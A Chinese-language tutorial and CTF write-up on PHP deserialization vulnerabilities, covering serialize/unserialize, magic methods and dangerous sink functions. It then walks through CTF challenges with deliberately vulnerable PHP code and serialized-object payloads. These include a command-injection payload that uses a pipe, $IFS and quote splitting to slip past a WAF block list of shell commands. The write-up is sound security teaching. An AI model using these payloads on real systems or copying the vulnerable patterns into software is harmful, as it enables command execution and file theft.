关于反序列化漏洞的初探

前置知识

面向对象编程

简单介绍

PHP中存在两个方法,分别是serialize()unserialize()这两个。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

// 创建一个类person
class person {
public $name;
public $age;
}

// 创建一个对象south
$south = new person();
$south -> name = "south";
$south -> age = 18;

// 输出序列化后的值
$north = serialize($south);
echo $north."</br>";

// 将north反序列化成对象southseast
$southseast = unserialize($north);
echo $southseast->name."</br>";

?>

然后下面是输出结果。

1
2
O:6:"person":2:{s:4:"name";s:5:"south";s:3:"age";i:18;}
south

可以很明显的看到其实是序列化其实是类似于把一个对象进行了Json格式化【只是长得像,实质格式完全不同。

一个小知识点

对象的私有成员变量,类名称前会加上*****。

序列化结果解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
O: // 类型:
6: // 类型名长度:
"person": // 类型名:
2: // 成员变量个数
{s: // {第一个成员变量类型:
4: // 第一个成员变量名长度:
"name"; // 第一个成员变量名;
s: // 第一个成员变量值类型:
5: // 第一个成员变量值长度:
"south"; // 第一个成员变量值;
s: // 第二个成员变量类型:
3: // 第二个成员变量名长度:
"age"; // 第二个成员变量名;
i: // 第二个成员变量值类型:
18;} // 第二个成员变量值;

序列化结果类型详解

1
2
3
4
5
6
7
8
9
10
11
12
a - array  
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

漏洞原理

PHP中引起反序列化漏洞的主要原因是PHP的魔术方法【magic function,由双下划线开头的函数如**__construct()**等会在某些情况下会自动调用。

一个重要结论

反序列化漏洞的产生原因是用户输入的数据具有危险性,而并非是反序列化本身。

看看官方文档对魔术方法的介绍。

1
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在PHP中被称为"魔术方法"(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

举个例子,看看**__construct()**这个函数

1
PHP5允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

//创建一个类
class person {
public $name;
public $age = 10;

public function __construct() {
$this->age = 18;
}
}

//创建一个对象south
$south = new person();
$south -> name = "south";

// 输出序列化后的值
$north = serialize($south);
echo $north."</br>";

// 将north反序列化成对象southseast
$southseast = unserialize($north);
echo $southseast->age."</br>";

?>

这段代码运行后得到的最终结果是age=18,很明显的推断就是同官方文档所说,在创建一个对象的时候PHP自动执行了对象内的**__construct()**函数。

常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__wakeup() // 使用unserialize时触发
__sleep() // 使用serialize时触发
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发,返回值需要为字符串
__invoke() // 当脚本尝试将对象调用为函数时触发
__construct() // 当一个对象创建时被调用
__destruct() // 当一个对象销毁时被调用

需要重点注意的函数

命令执行

1
2
3
4
exec()
passthru()
popen()
system()

文件操作

1
2
3
file_put_contents()
file_get_contents()
unlink()

如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞。

一些例子

简单例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
class Hello{
var $command="php hello.txt";
function visit(){
system($this->command);
}
}

$hello = new Hello();
$command = $_GET['command'];
if ($command)
$hello = unserialize($command);
$hello->visit();
?>

此处如果构造一个对象的command参数是一段恶意代码并序列化后传参进入,就能造成一个有效攻击。

1
2
3
4
5
6
7
8
<?php 
class Hello{
var $command="php hello.txt";
}

$hello = new Hello();
echo serialize($hello);
?>

Payload如下。

1
O:5:"Hello":1:{s:7:"command";s:13:"php hello.txt";}

就能访问到目录下的flag文件了。

welcome to bugkuctf

今年黑盾有一题也跟这个一样,解法写在另一篇讲述文件包含的文章中了。

1
2
3
4
5
6
7
8
// index.php 部分代码
<?php
$file = $_GET["file"];
$password = $_GET["password"];
include($file);
$password = unserialize($password);
echo $password;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// hint.php
<?php

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

index.php传入两个参数,一个是file,一个是password,再看hint.php,构造了一个类,其中的**__tostring()这个方法在index.phpecho \(password;**时会被调用,那么解题思路就是对**file**传参**hint.php**,使**index.php**达成**include(hint.php);**这一个指令,然后**password**传入一个**\)file成员变量,使得__tostring()方法中的file_get_contents(\(this->file);**指令可以读取**\)file成员变量所传入的文件名。而此处的文件名明显是flag.php**了

构造的类如下。

1
2
3
4
5
6
7
8
9
10
<?php  
class Flag{
public $file;
}

$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>

最终Payload如下。

1
file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

PHP

.git源码泄漏就不多说了。

1
2
3
4
5
6
7
8
9
10
11
12
// index.php部分代码
<?php
include 'class.php';
include 'waf.php';

$tips = @$_GET['tips'];
$tip = @$_GET['tip'];
// echo $tips;
if(isset($tip)&&(@file_get_contents($tip,'r')==="you got this")){
// echo 123;
@unserialize($tips);
}

包含了class.phpwaf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// class.php
<?php

class Blog{
public $file="passage";
public function __destruct(){
$black = [];

foreach ($black as $key => $value) {
if(stripos($this->file,$value)){
die("Attack!");
}
}
//echo "\n".$this->page;
system("php ./templates/$this->file.php");
}
}
$b =new Blog();
//echo serialize($b);
unset($b);


?>

可以看出Blog类中有一个**__destruct()方法,起作用是当一个对象销毁时调用system这个指令,而在最后有一句unset(\(b)**的销毁对象指令,且可控的部分只有**\)this->file,后面被.php给闭合,故此需要使用|管道符来进行操作,其作用于此做个笔记,就是把左边命令的输出数据作为右边命令的输入数据,先执行左边的命令,再执行右边的命令,类似的操作比如在Linux下寻找对应的软件包rpm -qa|grep nginx,先列出所有的软件包,然后寻找Nginx**。

1
2
3
4
5
6
7
8
9
10
11
12
13
// waf.php
<?php

function waf($values){
$black = [];
foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
}
}

?>

并没有过滤什么,那么大致构造的Payload如下。

1
?tip=php://input&tips=O:4:"Blog":1:{s:4:"file";s:30:"Flag.php|cat ../templates/Flag";}

并没有成功,git查看历史版本的waf

1
2
3
4
5
6
7
8
9
10
11
12
<?php

function waf($values){
$black = ['rev','php','grep','mv','%','-','tailf','nl','less','|','$','$IFS$9','od','cat','head','tail','more','tac','rm','ls',';','tailf',' ','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','**','printf','awk'];
foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
}
}

?>

于是最终Payload如下。

1
?tip=php://input&tips=O:4:"Blog":1:{s:4:"file";s:34:"Flag.php|ca''t$IFS./templates/Flag";} 

Refer

php 反序列化入门

php-unserialize-初识

[红日安全]代码审计Day4 - strpos使用不当引发漏洞